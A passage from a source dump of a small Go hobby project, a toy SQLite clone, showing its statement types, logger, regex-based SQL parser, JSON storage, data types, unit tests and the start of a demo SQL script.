87 | func (s *BeginTransactionStatement) Type() string {
88 | return "BEGIN TRANSACTION"
89 | }
90 |
91 | // CommitStatement represents a COMMIT statement
92 | type CommitStatement struct{}
93 |
94 | func (s *CommitStatement) Type() string {
95 | return "COMMIT"
96 | }
97 |
98 | // RollbackStatement represents a ROLLBACK statement
99 | type RollbackStatement struct{}
100 |
101 | func (s *RollbackStatement) Type() string {
102 | return "ROLLBACK"
103 | }
104 |
105 | // Record represents a database record
106 | type Record struct {
107 | Columns map[string]interface{}
108 | }
109 |
110 | // Result represents a database operation result
111 | type Result struct {
112 | Success bool
113 | Message string
114 | Records []*Record
115 | Columns []string
116 | IsSelect bool
117 | }
118 |
119 | // Transaction represents a database transaction
120 | type Transaction struct {
121 | Tables map[string]*Table
122 | }
123 |
124 | // Database represents a database
125 | type Database interface {
126 | Execute(stmt Statement) (*Result, error)
127 | GetTables() []string
128 | GetTable(name string) (Table, error)
129 | Save(filename string) error
130 | Load(filename string) error
131 | BeginTransaction() error
132 | Commit() error
133 | Rollback() error
134 | }
135 |
--------------------------------------------------------------------------------
/pkg/logger/logger.go:
--------------------------------------------------------------------------------
1 | package logger
2 |
3 | import (
4 | "fmt"
5 | "log"
6 | "os"
7 | "strings"
8 | )
9 |
10 | var (
11 | // Debug controls whether debug messages are printed
12 | Debug bool
13 |
14 | logger *log.Logger
15 | )
16 |
17 | func init() {
18 | logger = log.New(os.Stdout, "", 0)
19 | }
20 |
21 | // SetDebug enables or disables debug logging
22 | func SetDebug(enabled bool) {
23 | Debug = enabled
24 | }
25 |
26 | // Debugf prints debug messages if debug mode is enabled
27 | func Debugf(format string, args ...interface{}) {
28 | if Debug {
29 | logger.Printf("DEBUG: "+format, args...)
30 | }
31 | }
32 |
33 | // Infof prints info messages
34 | func Infof(format string, args ...interface{}) {
35 | logger.Printf("INFO: "+format, args...)
36 | }
37 |
38 | // Errorf prints error messages
39 | func Errorf(format string, args ...interface{}) {
40 | logger.Printf("ERROR: "+format, args...)
41 | }
42 |
43 | // PrintTable prints a table in a formatted way
44 | func PrintTable(headers []string, rows [][]string) {
45 | if len(headers) == 0 || len(rows) == 0 {
46 | fmt.Println("No data to display")
47 | return
48 | }
49 |
50 | // Calculate column widths
51 | widths := make([]int, len(headers))
52 | for i, h := range headers {
53 | widths[i] = len(h)
54 | }
55 | for _, row := range rows {
56 | for i, cell := range row {
57 | if len(cell) > widths[i] {
58 | widths[i] = len(cell)
59 | }
60 | }
61 | }
62 |
63 | // Print top border
64 | printBorder(widths)
65 |
66 | // Print headers
67 | fmt.Print("|")
68 | for i, h := range headers {
69 | fmt.Printf(" %-*s |", widths[i], h)
70 | }
71 | fmt.Println()
72 |
73 | // Print separator
74 | printBorder(widths)
75 |
76 | // Print rows
77 | for _, row := range rows {
78 | fmt.Print("|")
79 | for i, cell := range row {
80 | fmt.Printf(" %-*s |", widths[i], cell)
81 | }
82 | fmt.Println()
83 | }
84 |
85 | // Print bottom border
86 | printBorder(widths)
87 | }
88 |
89 | func printBorder(widths []int) {
90 | fmt.Print("+")
91 | for _, w := range widths {
92 | fmt.Print(strings.Repeat("-", w+2) + "+")
93 | }
94 | fmt.Println()
95 | }
96 |
--------------------------------------------------------------------------------
/pkg/sql/parser.go:
--------------------------------------------------------------------------------
1 | package sql
2 |
3 | import (
4 | "fmt"
5 | "regexp"
6 | "strconv"
7 | "strings"
8 | "sqlight/pkg/interfaces"
9 | )
10 |
11 | // Parse parses a SQL statement and returns the corresponding Statement interface
12 | func Parse(sql string) (interfaces.Statement, error) {
13 | // Trim whitespace and remove comments
14 | sql = removeComments(strings.TrimSpace(sql))
15 | if sql == "" {
16 | return nil, nil
17 | }
18 |
19 | // Convert to uppercase for command matching
20 | upperSQL := strings.ToUpper(sql)
21 |
22 | if strings.HasPrefix(upperSQL, "CREATE TABLE") {
23 | return parseCreateTable(sql)
24 | } else if strings.HasPrefix(upperSQL, "INSERT INTO") {
25 | return parseInsert(sql)
26 | } else if strings.HasPrefix(upperSQL, "SELECT") {
27 | return parseSelect(sql)
28 | } else if strings.HasPrefix(upperSQL, "DROP TABLE") {
29 | return parseDrop(sql)
30 | } else if strings.HasPrefix(upperSQL, "DESCRIBE") {
31 | return parseDescribe(sql)
32 | } else if strings.HasPrefix(upperSQL, "DELETE FROM") {
33 | return parseDelete(sql)
34 | } else if strings.HasPrefix(upperSQL, "BEGIN TRANSACTION") || strings.HasPrefix(upperSQL, "BEGIN") {
35 | return &interfaces.BeginTransactionStatement{}, nil
36 | } else if strings.HasPrefix(upperSQL, "COMMIT") {
37 | return &interfaces.CommitStatement{}, nil
38 | } else if strings.HasPrefix(upperSQL, "ROLLBACK") {
39 | return &interfaces.RollbackStatement{}, nil
40 | }
41 |
42 | return nil, fmt.Errorf("unsupported SQL statement")
43 | }
44 |
45 | // removeComments removes SQL comments from the input
46 | func removeComments(sql string) string {
47 | lines := strings.Split(sql, "\n")
48 | var result []string
49 | for _, line := range lines {
50 | // Remove inline comments
51 | if idx := strings.Index(line, "--"); idx >= 0 {
52 | line = strings.TrimSpace(line[:idx])
53 | }
54 | if line != "" {
55 | result = append(result, line)
56 | }
57 | }
58 | return strings.Join(result, "\n")
59 | }
60 |
61 | func parseCreateTable(sql string) (*interfaces.CreateStatement, error) {
62 | // Replace newlines with spaces to handle multi-line statements
63 | sql = strings.ReplaceAll(sql, "\n", " ")
64 |
65 | re := regexp.MustCompile(`(?i)CREATE\s+TABLE\s+(\w+)\s*\((.*)\)`)
66 | matches := re.FindStringSubmatch(sql)
67 | if len(matches) != 3 {
68 | return nil, fmt.Errorf("invalid CREATE TABLE syntax")
69 | }
70 |
71 | tableName := matches[1]
72 | columnDefs := strings.Split(matches[2], ",")
73 | columns := make([]interfaces.Column, 0)
74 |
75 | for _, colDef := range columnDefs {
76 | colDef = strings.TrimSpace(colDef)
77 | parts := strings.Fields(colDef)
78 | if len(parts) < 2 {
79 | return nil, fmt.Errorf("invalid column definition: %s", colDef)
80 | }
81 |
82 | col := interfaces.Column{
83 | Name: parts[0],
84 | Type: strings.ToUpper(parts[1]),
85 | Nullable: true,
86 | }
87 |
88 | // Parse constraints
89 | for i := 2; i < len(parts); i++ {
90 | constraint := strings.ToUpper(parts[i])
91 | switch constraint {
92 | case "PRIMARY":
93 | if i+1 < len(parts) && strings.ToUpper(parts[i+1]) == "KEY" {
94 | col.PrimaryKey = true
95 | i++
96 | }
97 | case "NOT":
98 | if i+1 < len(parts) && strings.ToUpper(parts[i+1]) == "NULL" {
99 | col.Nullable = false
100 | i++
101 | }
102 | case "UNIQUE":
103 | col.Unique = true
104 | }
105 | }
106 |
107 | columns = append(columns, col)
108 | }
109 |
110 | return &interfaces.CreateStatement{
111 | TableName: tableName,
112 | Columns: columns,
113 | }, nil
114 | }
115 |
116 | func parseInsert(sql string) (*interfaces.InsertStatement, error) {
117 | re := regexp.MustCompile(`(?i)INSERT\s+INTO\s+(\w+)\s*\((.*?)\)\s*VALUES\s*\((.*?)\)`)
118 | matches := re.FindStringSubmatch(sql)
119 | if len(matches) != 4 {
120 | return nil, fmt.Errorf("invalid INSERT syntax")
121 | }
122 |
123 | tableName := matches[1]
124 | columnStr := matches[2]
125 | valueStr := matches[3]
126 |
127 | columns := make([]string, 0)
128 | for _, col := range strings.Split(columnStr, ",") {
129 | columns = append(columns, strings.TrimSpace(col))
130 | }
131 |
132 | values := make([]interface{}, 0)
133 | for _, val := range strings.Split(valueStr, ",") {
134 | val = strings.TrimSpace(val)
135 |
136 | // Handle string values
137 | if strings.HasPrefix(val, "'") && strings.HasSuffix(val, "'") {
138 | values = append(values, strings.Trim(val, "'"))
139 | continue
140 | }
141 |
142 | // Handle numeric values
143 | if num, err := strconv.Atoi(val); err == nil {
144 | values = append(values, num)
145 | continue
146 | }
147 |
148 | // Default to string value
149 | values = append(values, val)
150 | }
151 |
152 | return &interfaces.InsertStatement{
153 | TableName: tableName,
154 | Columns: columns,
155 | Values: values,
156 | }, nil
157 | }
158 |
159 | func parseSelect(sql string) (*interfaces.SelectStatement, error) {
160 | // Remove trailing semicolon if present
161 | sql = strings.TrimSuffix(sql, ";")
162 |
163 | // Parse table name and columns
164 | re := regexp.MustCompile(`(?i)SELECT\s+(.*?)\s+FROM\s+(\w+)(?:\s+WHERE\s+(.*))?`)
165 | matches := re.FindStringSubmatch(sql)
166 | if len(matches) < 3 {
167 | return nil, fmt.Errorf("invalid SELECT statement syntax")
168 | }
169 |
170 | // Parse columns
171 | columns := make([]string, 0)
172 | for _, col := range strings.Split(matches[1], ",") {
173 | columns = append(columns, strings.TrimSpace(col))
174 | }
175 |
176 | // Parse WHERE conditions
177 | where := make(map[string]interface{})
178 | if len(matches) > 3 && matches[3] != "" {
179 | wherePart := strings.TrimSpace(matches[3])
180 |
181 | // Split conditions by AND if present
182 | whereConditions := strings.Split(wherePart, " AND ")
183 | for _, condition := range whereConditions {
184 | condition = strings.TrimSpace(condition)
185 |
186 | // Check for different comparison operators: =, >, <, >=, <=, !=
187 | var operator string
188 | var parts []string
189 |
190 | if strings.Contains(condition, ">=") {
191 | parts = strings.Split(condition, ">=")
192 | operator = ">="
193 | } else if strings.Contains(condition, "<=") {
194 | parts = strings.Split(condition, "<=")
195 | operator = "<="
196 | } else if strings.Contains(condition, "!=") {
197 | parts = strings.Split(condition, "!=")
198 | operator = "!="
199 | } else if strings.Contains(condition, ">") {
200 | parts = strings.Split(condition, ">")
201 | operator = ">"
202 | } else if strings.Contains(condition, "<") {
203 | parts = strings.Split(condition, "<")
204 | operator = "<"
205 | } else if strings.Contains(condition, "=") {
206 | parts = strings.Split(condition, "=")
207 | operator = "="
208 | } else {
209 | return nil, fmt.Errorf("invalid WHERE condition: %s", condition)
210 | }
211 |
212 | if len(parts) != 2 {
213 | return nil, fmt.Errorf("invalid WHERE condition: %s", condition)
214 | }
215 |
216 | col := strings.TrimSpace(parts[0])
217 | val := strings.TrimSpace(parts[1])
218 |
219 | // Handle quoted string values (both single and double quotes)
220 | if (strings.HasPrefix(val, "'") && strings.HasSuffix(val, "'")) ||
221 | (strings.HasPrefix(val, "\"") && strings.HasSuffix(val, "\"")) {
222 | where[col] = map[string]interface{}{
223 | "operator": operator,
224 | "value": strings.Trim(val, "'\""),
225 | }
226 | continue
227 | }
228 |
229 | // Handle numeric values
230 | if num, err := strconv.Atoi(val); err == nil {
231 | where[col] = map[string]interface{}{
232 | "operator": operator,
233 | "value": num,
234 | }
235 | continue
236 | }
237 |
238 | // Try to parse as float if not an integer
239 | if num, err := strconv.ParseFloat(val, 64); err == nil {
240 | where[col] = map[string]interface{}{
241 | "operator": operator,
242 | "value": num,
243 | }
244 | continue
245 | }
246 |
247 | // Default to string value without quotes
248 | where[col] = map[string]interface{}{
249 | "operator": operator,
250 | "value": val,
251 | }
252 | }
253 | }
254 |
255 | return &interfaces.SelectStatement{
256 | TableName: matches[2],
257 | Columns: columns,
258 | Where: where,
259 | }, nil
260 | }
261 |
262 | func parseDrop(sql string) (*interfaces.DropStatement, error) {
263 | re := regexp.MustCompile(`(?i)DROP\s+TABLE\s+(\w+)`)
264 | matches := re.FindStringSubmatch(sql)
265 | if len(matches) != 2 {
266 | return nil, fmt.Errorf("invalid DROP TABLE syntax")
267 | }
268 |
269 | return &interfaces.DropStatement{
270 | TableName: matches[1],
271 | }, nil
272 | }
273 |
274 | func parseDescribe(sql string) (*interfaces.DescribeStatement, error) {
275 | re := regexp.MustCompile(`(?i)DESCRIBE\s+(\w+)`)
276 | matches := re.FindStringSubmatch(sql)
277 | if len(matches) != 2 {
278 | return nil, fmt.Errorf("invalid DESCRIBE syntax")
279 | }
280 |
281 | return &interfaces.DescribeStatement{
282 | TableName: matches[1],
283 | }, nil
284 | }
285 |
286 | func parseDelete(sql string) (*interfaces.DeleteStatement, error) {
287 | // Remove trailing semicolon if present
288 | sql = strings.TrimSuffix(sql, ";")
289 |
290 | // Parse table name
291 | re := regexp.MustCompile(`(?i)DELETE\s+FROM\s+(\w+)(?:\s+WHERE\s+(.*))?`)
292 | matches := re.FindStringSubmatch(sql)
293 | if len(matches) < 2 {
294 | return nil, fmt.Errorf("invalid DELETE statement syntax")
295 | }
296 |
297 | tableName := matches[1]
298 | conditions := make(map[string]interface{})
299 |
300 | // Parse WHERE conditions if present
301 | if len(matches) > 2 && matches[2] != "" {
302 | wherePart := strings.TrimSpace(matches[2])
303 |
304 | // Split conditions by AND if present
305 | whereConditions := strings.Split(wherePart, " AND ")
306 | for _, condition := range whereConditions {
307 | condition = strings.TrimSpace(condition)
308 |
309 | // Check for different comparison operators: =, >, <, >=, <=, !=
310 | var operator string
311 | var parts []string
312 |
313 | if strings.Contains(condition, ">=") {
314 | parts = strings.Split(condition, ">=")
315 | operator = ">="
316 | } else if strings.Contains(condition, "<=") {
317 | parts = strings.Split(condition, "<=")
318 | operator = "<="
319 | } else if strings.Contains(condition, "!=") {
320 | parts = strings.Split(condition, "!=")
321 | operator = "!="
322 | } else if strings.Contains(condition, ">") {
323 | parts = strings.Split(condition, ">")
324 | operator = ">"
325 | } else if strings.Contains(condition, "<") {
326 | parts = strings.Split(condition, "<")
327 | operator = "<"
328 | } else if strings.Contains(condition, "=") {
329 | parts = strings.Split(condition, "=")
330 | operator = "="
331 | } else {
332 | return nil, fmt.Errorf("invalid WHERE condition: %s", condition)
333 | }
334 |
335 | if len(parts) != 2 {
336 | return nil, fmt.Errorf("invalid WHERE condition: %s", condition)
337 | }
338 |
339 | column := strings.TrimSpace(parts[0])
340 | value := strings.TrimSpace(parts[1])
341 |
342 | // Handle quoted string values (both single and double quotes)
343 | if (strings.HasPrefix(value, "'") && strings.HasSuffix(value, "'")) ||
344 | (strings.HasPrefix(value, "\"") && strings.HasSuffix(value, "\"")) {
345 | conditions[column] = map[string]interface{}{
346 | "operator": operator,
347 | "value": strings.Trim(value, "'\""),
348 | }
349 | continue
350 | }
351 |
352 | // Handle numeric values
353 | if num, err := strconv.Atoi(value); err == nil {
354 | conditions[column] = map[string]interface{}{
355 | "operator": operator,
356 | "value": num,
357 | }
358 | continue
359 | }
360 |
361 | // Try to parse as float if not an integer
362 | if num, err := strconv.ParseFloat(value, 64); err == nil {
363 | conditions[column] = map[string]interface{}{
364 | "operator": operator,
365 | "value": num,
366 | }
367 | continue
368 | }
369 |
370 | // Default to string value without quotes
371 | conditions[column] = map[string]interface{}{
372 | "operator": operator,
373 | "value": value,
374 | }
375 | }
376 | }
377 |
378 | return &interfaces.DeleteStatement{
379 | TableName: tableName,
380 | Where: conditions,
381 | }, nil
382 | }
383 |
--------------------------------------------------------------------------------
/pkg/storage/disk.go:
--------------------------------------------------------------------------------
1 | package storage
2 |
3 | import (
4 | "encoding/json"
5 | "os"
6 | "sqlight/pkg/db"
7 | )
8 |
9 | // TableData represents the structure we want to save
10 | type TableData struct {
11 | Tables map[string]*db.Table `json:"tables"`
12 | }
13 |
14 | func SaveToFile(filename string, database *db.Database) error {
15 | data := TableData{
16 | Tables: database.Tables(),
17 | }
18 |
19 | file, err := os.Create(filename)
20 | if err != nil {
21 | return err
22 | }
23 | defer file.Close()
24 |
25 | encoder := json.NewEncoder(file)
26 | return encoder.Encode(data)
27 | }
28 |
29 | func LoadFromFile(filename string) (*db.Database, error) {
30 | file, err := os.Open(filename)
31 | if err != nil {
32 | return nil, err
33 | }
34 | defer file.Close()
35 |
36 | var data TableData
37 | decoder := json.NewDecoder(file)
38 | if err := decoder.Decode(&data); err != nil {
39 | return nil, err
40 | }
41 |
42 | database := db.NewDatabase(filename)
43 | database.SetTables(data.Tables)
44 | return database, nil
45 | }
46 |
--------------------------------------------------------------------------------
/pkg/types/datatypes/types.go:
--------------------------------------------------------------------------------
1 | package datatypes
2 |
3 | import (
4 | "encoding/json"
5 | "fmt"
6 | "strconv"
7 | "time"
8 | )
9 |
10 | type DataType interface {
11 | Name() string
12 | Validate(value interface{}) error
13 | Convert(value interface{}) (interface{}, error)
14 | MarshalJSON() ([]byte, error)
15 | }
16 |
17 | type IntegerType struct{}
18 | type TextType struct{}
19 | type BooleanType struct{}
20 | type DateTimeType struct{}
21 |
22 | func (t *IntegerType) Name() string { return "INTEGER" }
23 | func (t *TextType) Name() string { return "TEXT" }
24 | func (t *BooleanType) Name() string { return "BOOLEAN" }
25 | func (t *DateTimeType) Name() string { return "DATETIME" }
26 |
27 | func (t *IntegerType) Validate(value interface{}) error {
28 | switch v := value.(type) {
29 | case int, int32, int64:
30 | return nil
31 | case float64:
32 | // Check if it's a whole number
33 | if v == float64(int(v)) {
34 | return nil
35 | }
36 | return fmt.Errorf("float value must be a whole number: %v", value)
37 | case string:
38 | _, err := strconv.ParseInt(v, 10, 64)
39 | return err
40 | default:
41 | return fmt.Errorf("invalid integer value: %v", value)
42 | }
43 | }
44 |
45 | func (t *TextType) Validate(value interface{}) error {
46 | switch value.(type) {
47 | case string:
48 | return nil
49 | default:
50 | return fmt.Errorf("invalid text value: %v", value)
51 | }
52 | }
53 |
54 | func (t *BooleanType) Validate(value interface{}) error {
55 | switch v := value.(type) {
56 | case bool:
57 | return nil
58 | case string:
59 | _, err := strconv.ParseBool(v)
60 | return err
61 | default:
62 | return fmt.Errorf("invalid boolean value: %v", value)
63 | }
64 | }
65 |
66 | func (t *DateTimeType) Validate(value interface{}) error {
67 | switch v := value.(type) {
68 | case time.Time:
69 | return nil
70 | case string:
71 | _, err := time.Parse(time.RFC3339, v)
72 | return err
73 | default:
74 | return fmt.Errorf("invalid datetime value: %v", value)
75 | }
76 | }
77 |
78 | // Convert functions
79 | func (t *IntegerType) Convert(value interface{}) (interface{}, error) {
80 | switch v := value.(type) {
81 | case int, int32, int64:
82 | return v, nil
83 | case float64:
84 | // Check if it's a whole number
85 | if v == float64(int(v)) {
86 | return int(v), nil
87 | }
88 | return nil, fmt.Errorf("float value must be a whole number: %v", value)
89 | case string:
90 | i, err := strconv.ParseInt(v, 10, 64)
91 | if err != nil {
92 | return nil, err
93 | }
94 | return int(i), nil
95 | default:
96 | return nil, fmt.Errorf("cannot convert to integer: %v", value)
97 | }
98 | }
99 |
100 | func (t *TextType) Convert(value interface{}) (interface{}, error) {
101 | return fmt.Sprintf("%v", value), nil
102 | }
103 |
104 | func (t *BooleanType) Convert(value interface{}) (interface{}, error) {
105 | switch v := value.(type) {
106 | case bool:
107 | return v, nil
108 | case string:
109 | return strconv.ParseBool(v)
110 | default:
111 | return nil, fmt.Errorf("cannot convert to boolean: %v", value)
112 | }
113 | }
114 |
115 | func (t *DateTimeType) Convert(value interface{}) (interface{}, error) {
116 | switch v := value.(type) {
117 | case time.Time:
118 | return v, nil
119 | case string:
120 | return time.Parse(time.RFC3339, v)
121 | default:
122 | return nil, fmt.Errorf("cannot convert to datetime: %v", value)
123 | }
124 | }
125 |
126 | func (t *IntegerType) MarshalJSON() ([]byte, error) {
127 | return json.Marshal("INTEGER")
128 | }
129 |
130 | func (t *TextType) MarshalJSON() ([]byte, error) {
131 | return json.Marshal("TEXT")
132 | }
133 |
134 | func (t *BooleanType) MarshalJSON() ([]byte, error) {
135 | return json.Marshal("BOOLEAN")
136 | }
137 |
138 | func (t *DateTimeType) MarshalJSON() ([]byte, error) {
139 | return json.Marshal("DATETIME")
140 | }
141 |
142 | // GetType returns the appropriate DataType for a type name
143 | func GetType(typeName string) (DataType, error) {
144 | switch typeName {
145 | case "INTEGER", "INT":
146 | return &IntegerType{}, nil
147 | case "TEXT", "VARCHAR", "STRING":
148 | return &TextType{}, nil
149 | case "BOOLEAN", "BOOL":
150 | return &BooleanType{}, nil
151 | case "DATETIME", "TIMESTAMP":
152 | return &DateTimeType{}, nil
153 | default:
154 | return nil, fmt.Errorf("unknown type: %s", typeName)
155 | }
156 | }
157 |
--------------------------------------------------------------------------------
/tests/database_test.go:
--------------------------------------------------------------------------------
1 | package tests
2 |
3 | import (
4 | "os"
5 | "path/filepath"
6 | "sqlight/pkg/db"
7 | "sqlight/pkg/interfaces"
8 | "testing"
9 | )
10 |
11 | func TestDatabase(t *testing.T) {
12 | // Create a temporary database file for testing
13 | tmpFile := "test_db.json"
14 | defer os.Remove(tmpFile)
15 |
16 | database := db.NewDatabase(tmpFile)
17 |
18 | // Test CREATE TABLE with data types
19 | err := database.CreateTable("users", []interfaces.ColumnDef{
20 | {Name: "id", Type: "INTEGER"},
21 | {Name: "name", Type: "TEXT"},
22 | {Name: "email", Type: "TEXT"},
23 | })
24 | if err != nil {
25 | t.Fatalf("Error creating table: %v", err)
26 | }
27 |
28 | // Test duplicate table creation
29 | err = database.CreateTable("users", []interfaces.ColumnDef{
30 | {Name: "id", Type: "INTEGER"},
31 | })
32 | if err == nil {
33 | t.Error("Expected error when creating duplicate table")
34 | }
35 |
36 | // Test INSERT with data types
37 | r1 := interfaces.NewRecord(map[string]interface{}{
38 | "id": 1,
39 | "name": "Alice",
40 | "email": "alice@email.com",
41 | })
42 |
43 | err = database.InsertIntoTable("users", r1)
44 | if err != nil {
45 | t.Fatalf("Error inserting record: %v", err)
46 | }
47 |
48 | // Test invalid table insert
49 | err = database.InsertIntoTable("nonexistent", r1)
50 | if err == nil {
51 | t.Error("Expected error when inserting into non-existent table")
52 | }
53 |
54 | // Test SELECT
55 | records, err := database.SelectFromTable("users")
56 | if err != nil {
57 | t.Fatalf("Error selecting from table: %v", err)
58 | }
59 |
60 | if len(records) != 1 {
61 | t.Fatalf("Expected 1 record, got %d", len(records))
62 | }
63 |
64 | // Test invalid table select
65 | _, err = database.SelectFromTable("nonexistent")
66 | if err == nil {
67 | t.Error("Expected error when selecting from non-existent table")
68 | }
69 |
70 | // Test column values
71 | r, ok := records[0].(*interfaces.Record)
72 | if !ok {
73 | t.Fatalf("Invalid record type")
74 | }
75 |
76 | if r.Columns["name"] != "Alice" {
77 | t.Errorf("Expected name 'Alice', got '%v'", r.Columns["name"])
78 | }
79 |
80 | // Test UPDATE
81 | err = database.UpdateTable("users",
82 | map[string]interface{}{"name": "Alice Smith"},
83 | "id",
84 | float64(1))
85 | if err != nil {
86 | t.Fatalf("Error updating record: %v", err)
87 | }
88 |
89 | // Verify update
90 | record, err := database.FindInTable("users", 1)
91 | if err != nil {
92 | t.Fatalf("Error finding updated record: %v", err)
93 | }
94 | r, _ = record.(*interfaces.Record)
95 | if r.Columns["name"] != "Alice Smith" {
96 | t.Errorf("Expected updated name 'Alice Smith', got '%v'", r.Columns["name"])
97 | }
98 |
99 | // Test invalid update
100 | err = database.UpdateTable("users",
101 | map[string]interface{}{"name": "Bob"},
102 | "id",
103 | float64(999))
104 | if err == nil {
105 | t.Error("Expected error when updating non-existent record")
106 | }
107 |
108 | // Test DELETE
109 | err = database.DeleteFromTable("users", "id", float64(1))
110 | if err != nil {
111 | t.Fatalf("Error deleting record: %v", err)
112 | }
113 |
114 | // Verify delete
115 | records, err = database.SelectFromTable("users")
116 | if err != nil {
117 | t.Fatalf("Error selecting after delete: %v", err)
118 | }
119 | if len(records) != 0 {
120 | t.Errorf("Expected 0 records after delete, got %d", len(records))
121 | }
122 |
123 | // Test invalid delete
124 | err = database.DeleteFromTable("users", "id", float64(999))
125 | if err == nil {
126 | t.Error("Expected error when deleting non-existent record")
127 | }
128 |
129 | // Test file operations
130 | // Save current state
131 | err = database.Execute("INSERT INTO users VALUES (2, 'Bob', 'bob@email.com')")
132 | if err != nil {
133 | t.Fatalf("Error executing INSERT: %v", err)
134 | }
135 |
136 | // Create new database instance to load saved state
137 | database2 := db.NewDatabase(tmpFile)
138 | records, err = database2.SelectFromTable("users")
139 | if err != nil {
140 | t.Fatalf("Error selecting from loaded database: %v", err)
141 | }
142 | if len(records) != 1 {
143 | t.Errorf("Expected 1 record in loaded database, got %d", len(records))
144 | }
145 | }
146 |
147 | func TestSQLParser(t *testing.T) {
148 | database := db.NewDatabase("test_parser.json")
149 | defer os.Remove("test_parser.json")
150 |
151 | // Test CREATE TABLE
152 | err := database.Execute("CREATE TABLE products (id INTEGER, name TEXT, price INTEGER)")
153 | if err != nil {
154 | t.Fatalf("Error executing CREATE TABLE: %v", err)
155 | }
156 |
157 | // Test INSERT
158 | err = database.Execute("INSERT INTO products VALUES (1, 'Widget', 100)")
159 | if err != nil {
160 | t.Fatalf("Error executing INSERT: %v", err)
161 | }
162 |
163 | // Test SELECT
164 | err = database.Execute("SELECT * FROM products")
165 | if err != nil {
166 | t.Fatalf("Error executing SELECT: %v", err)
167 | }
168 |
169 | // Test UPDATE
170 | err = database.Execute("UPDATE products SET price = 200 WHERE id = 1")
171 | if err != nil {
172 | t.Fatalf("Error executing UPDATE: %v", err)
173 | }
174 |
175 | // Test DELETE
176 | err = database.Execute("DELETE FROM products WHERE id = 1")
177 | if err != nil {
178 | t.Fatalf("Error executing DELETE: %v", err)
179 | }
180 |
181 | // Test invalid SQL
182 | err = database.Execute("INVALID SQL")
183 | if err == nil {
184 | t.Error("Expected error for invalid SQL")
185 | }
186 |
187 | err = database.Execute("SELECT * FROM nonexistent")
188 | if err == nil {
189 | t.Error("Expected error for non-existent table")
190 | }
191 | }
192 |
193 | func TestBTree(t *testing.T) {
194 | tree := db.NewBTree()
195 |
196 | // Test Insert and Search
197 | r1 := interfaces.NewRecord(map[string]interface{}{
198 | "id": 1,
199 | "name": "Alice",
200 | "email": "alice@email.com",
201 | })
202 |
203 | tree.Insert(1, r1)
204 |
205 | found := tree.Search(1)
206 | if found == nil {
207 | t.Fatal("Record not found after insertion")
208 | }
209 |
210 | if found.Columns["name"] != "Alice" {
211 | t.Errorf("Expected name 'Alice', got '%v'", found.Columns["name"])
212 | }
213 |
214 | // Test non-existent key
215 | notFound := tree.Search(999)
216 | if notFound != nil {
217 | t.Error("Expected nil for non-existent key")
218 | }
219 |
220 | // Test multiple inserts
221 | r2 := interfaces.NewRecord(map[string]interface{}{
222 | "id": 2,
223 | "name": "Bob",
224 | "email": "bob@email.com",
225 | })
226 | tree.Insert(2, r2)
227 |
228 | // Test Scan
229 | records := tree.Scan()
230 | if len(records) != 2 {
231 | t.Errorf("Expected 2 records, got %d", len(records))
232 | }
233 |
234 | // Test Delete
235 | tree.Delete(1)
236 | found = tree.Search(1)
237 | if found != nil {
238 | t.Error("Record still exists after deletion")
239 | }
240 | }
241 |
242 | func TestTransactions(t *testing.T) {
243 | // Create a temporary database file
244 | tmpFile := filepath.Join(os.TempDir(), "test_db_tx.json")
245 | defer os.Remove(tmpFile)
246 |
247 | db := db.NewDatabase(tmpFile)
248 |
249 | // Create a test table
250 | columns := []interfaces.ColumnDef{
251 | {Name: "id", Type: "INTEGER"},
252 | {Name: "name", Type: "TEXT"},
253 | }
254 | err := db.CreateTable("users", columns)
255 | if err != nil {
256 | t.Fatalf("Failed to create table: %v", err)
257 | }
258 |
259 | // Test 1: Basic transaction commit
260 | t.Run("Transaction Commit", func(t *testing.T) {
261 | err := db.Begin()
262 | if err != nil {
263 | t.Fatalf("Failed to begin transaction: %v", err)
264 | }
265 |
266 | // Insert a record
267 | record := interfaces.NewRecord(map[string]interface{}{
268 | "id": 1,
269 | "name": "Alice",
270 | })
271 | tables := db.Tables()
272 | err = tables["users"].Insert(record)
273 | if err != nil {
274 | t.Fatalf("Failed to insert record: %v", err)
275 | }
276 |
277 | err = db.Commit()
278 | if err != nil {
279 | t.Fatalf("Failed to commit transaction: %v", err)
280 | }
281 |
282 | // Verify record exists
283 | tables = db.Tables()
284 | cursor := tables["users"].NewCursor()
285 | found := false
286 | record, err = cursor.First()
287 | for record != nil && err == nil {
288 | if record.Columns["id"] == 1 {
289 | found = true
290 | break
291 | }
292 | record, err = cursor.Next()
293 | }
294 | if !found {
295 | t.Error("Record not found after commit")
296 | }
297 | })
298 |
299 | // Test 2: Transaction rollback
300 | t.Run("Transaction Rollback", func(t *testing.T) {
301 | err := db.Begin()
302 | if err != nil {
303 | t.Fatalf("Failed to begin transaction: %v", err)
304 | }
305 |
306 | // Insert a record
307 | record := interfaces.NewRecord(map[string]interface{}{
308 | "id": 2,
309 | "name": "Bob",
310 | })
311 | tables := db.Tables()
312 | err = tables["users"].Insert(record)
313 | if err != nil {
314 | t.Fatalf("Failed to insert record: %v", err)
315 | }
316 |
317 | err = db.Rollback()
318 | if err != nil {
319 | t.Fatalf("Failed to rollback transaction: %v", err)
320 | }
321 |
322 | // Verify record does not exist
323 | tables = db.Tables()
324 | cursor := tables["users"].NewCursor()
325 | found := false
326 | record, err = cursor.First()
327 | for record != nil && err == nil {
328 | if record.Columns["id"] == 2 {
329 | found = true
330 | break
331 | }
332 | record, err = cursor.Next()
333 | }
334 | if found {
335 | t.Error("Record found after rollback")
336 | }
337 | })
338 |
339 | // Test 3: Nested transactions not allowed
340 | t.Run("Nested Transactions", func(t *testing.T) {
341 | err := db.Begin()
342 | if err != nil {
343 | t.Fatalf("Failed to begin first transaction: %v", err)
344 | }
345 |
346 | err = db.Begin()
347 | if err == nil {
348 | t.Error("Expected error when beginning nested transaction")
349 | }
350 |
351 | err = db.Rollback()
352 | if err != nil {
353 | t.Fatalf("Failed to rollback transaction: %v", err)
354 | }
355 | })
356 | }
357 |
--------------------------------------------------------------------------------
/tests/demo.sql:
--------------------------------------------------------------------------------
1 | -- SQLite Clone Demo
2 | -- This file demonstrates all the functionality of the SQLite clone
3 |
4 | -- 1. CREATE TABLE with various constraints
5 | CREATE TABLE employees (
6 | id INTEGER PRIMARY KEY,
7 | name TEXT UNIQUE NOT NULL,
8 | department TEXT NOT NULL,
9 | salary FLOAT
10 | );
11 |
12 | -- Display table structure
13 | DESCRIBE employees;
14 |
15 | -- 2. INSERT with various data types
16 | -- Basic inserts
17 | INSERT INTO employees (id, name, department, salary) VALUES (1, 'John Doe', 'Engineering', 85000.50);
